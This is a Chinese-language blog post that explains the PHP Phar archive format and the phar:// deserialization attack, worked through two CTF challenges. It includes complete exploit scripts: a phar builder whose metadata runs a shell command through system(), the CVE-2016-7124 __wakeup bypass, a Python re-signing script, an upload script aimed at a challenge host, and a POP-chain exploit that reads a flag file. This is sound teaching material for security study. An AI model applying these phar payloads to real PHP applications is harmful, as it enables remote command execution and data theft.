Phar

Phar是什么

Phar是一种文件打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。简单来说类似于ZIP和tar

Phar文件结构

1.stub文件标识

  • 可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件

2.manifest (清单Phar里面内容信息)

  • Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存(当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化)

3. contents

  • 被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

4.signature(签名)

  • phar的最后有一段signature,是phar的签名,放在文件末尾,如果我们修改了文件的内容,之前的签名就会无效,就需要更换一个新的签名。在文件系统函数(file_exists()、is_dir()等详见下表)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

Phar和Phar伪协议使用环境

  • php大于5.3.0
  • 需要将php.ini的参数phar.readonly设置为off

如何生成一个Phar文件,下面是一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

Phar在CTF应用

  1. 反序列化。php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下

    受影响函数的列表
    fileatime filectime file_exists file_get_contents
    file_put_contents file filegroup fopen
    fileinode filemtime fileowner fileperms
    is_dir is_executable is_file is_link
    is_readable is_writable is_writeab parse_ini_file
    copy unlink stat readfile

以Newstar 2023 week5中 Unserialize Again举例如何在ctf反序列化中应用

题目具体函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 <?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
}

接受两个参数,其次file_get_contents(‘php://input’)接受用户POST方式提交过来的参数,将POST提交过来的参数解码放到$pear里面

,其次file_exists这个函数是检测文件或目录是否存在,但是$Adam使用phar://伪协议读取phar文件的话,自动执行unserialize()的操作没有依赖于unserialize()这个函数,而且正好在上面提及到受影响的函数中,我们最终的目标是

接下来就是构造phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class story{
private $user='admin';
public $pass;
public $eating;
public $God;
}
$a=new story();
$a->God=true;
$a->eating='cat /f*';
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

其次需要__wakeup()因为__wakeup()会比__destruct()先执行

借助:属性个数不匹配(cve-2016-7124)来绕过

受影响版本:

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

将4修改为5

注意:

  • 修改后phar的文件的签名就不管用了需要重新生成一个,需要一个新的签名,签名用sha1加密,脚本如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from hashlib import sha1

    with open(r"hack.phar",'rb') as f:
    text = f.read()
    s = text[:-28]
    h = text[-8:]
    newf = s + sha1(s).digest() + h
    with open(r"hacker1.phar","wb") as f:
    f.write(newf)

接下来就是传数据了可以用python脚本,也可以直接传有点麻烦需要将phar文件内容经过url编码后,通过POST方式传过去最后GET传 ?pear=hacker1.phar&apple=phar://hacker1.phar 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.parse
import os
import requests

url='http://83520740-e875-4e0e-904f-7dc11b8d2a3f.node5.buuoj.cn:81/'
params={
'pear':'hacker1.phar',
'apple':'phar://hacker1.phar'
}

with open(r'22.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
print(fin.text)

SWPU 2018-SimplePHP

考点:php反序列化+phar

给了三个文件class.php,file.php,upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#upload.php
<?php
//show_source(__FILE__);
include "base.php";#没什么用最后只是调用了upload_file方法。
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

快速介绍下:先上传文件在通过phar协议即可拿到flag,upload.php上传的文件(白名单)会经过修改名字,上传到upload的目录,平且后缀只为.jpg(文件名的话可以访问upload就可以现实文件名,文件名也可以自己算出来没懂为如何算),然后在file.php中用phar协议读取上传文件,关键在于如何在class.php构造pop链

快速接受pop链如何构成:

Test::file_get()<–Test::get()<–Test::__get()<–Show::__toString()<–C1e4r::__destruct()

注意:

没想到phar协议可以解析.jpg后缀说明,phar不是通过后缀判断,可能是通过内容

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class C1e4r
{
public $test;
public $str; // 3 赋值为Show类对象
}
class Show
{
public $source;
public $str; // 2 str中的键名str赋值为Test类对象
}
class Test
{
public $file;
public $params; // 1 赋值为['source' => '/var/www/html/f1ag.php']
}

$a=new Test;
$a->params=['source'=>'/var/www/html/f1ag.php'];
//如果直接赋值为f1ag.php没有作用
$b=new Show;
$b->str['str']=$a;
//也可以$b->str=['str'=>$a];
$c=new C1e4r;
$c->str=$b;

or

$m=new C1e4r();
$m->str=new Show();
$m->str->str['str']=new Test();
$m->str->str['str']->params["source"]="/var/www/html/f1ag.php";

//前面是构造的序列化字符串,后面是生成phar文件

$phar = new Phar("phar.phar"); //后缀名必须为phar,前面名称随意
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

Phar
https://yankun8.github.io/blog/2025/01/23/PHP/Phar/
作者
yankun
发布于
2025年1月23日
许可协议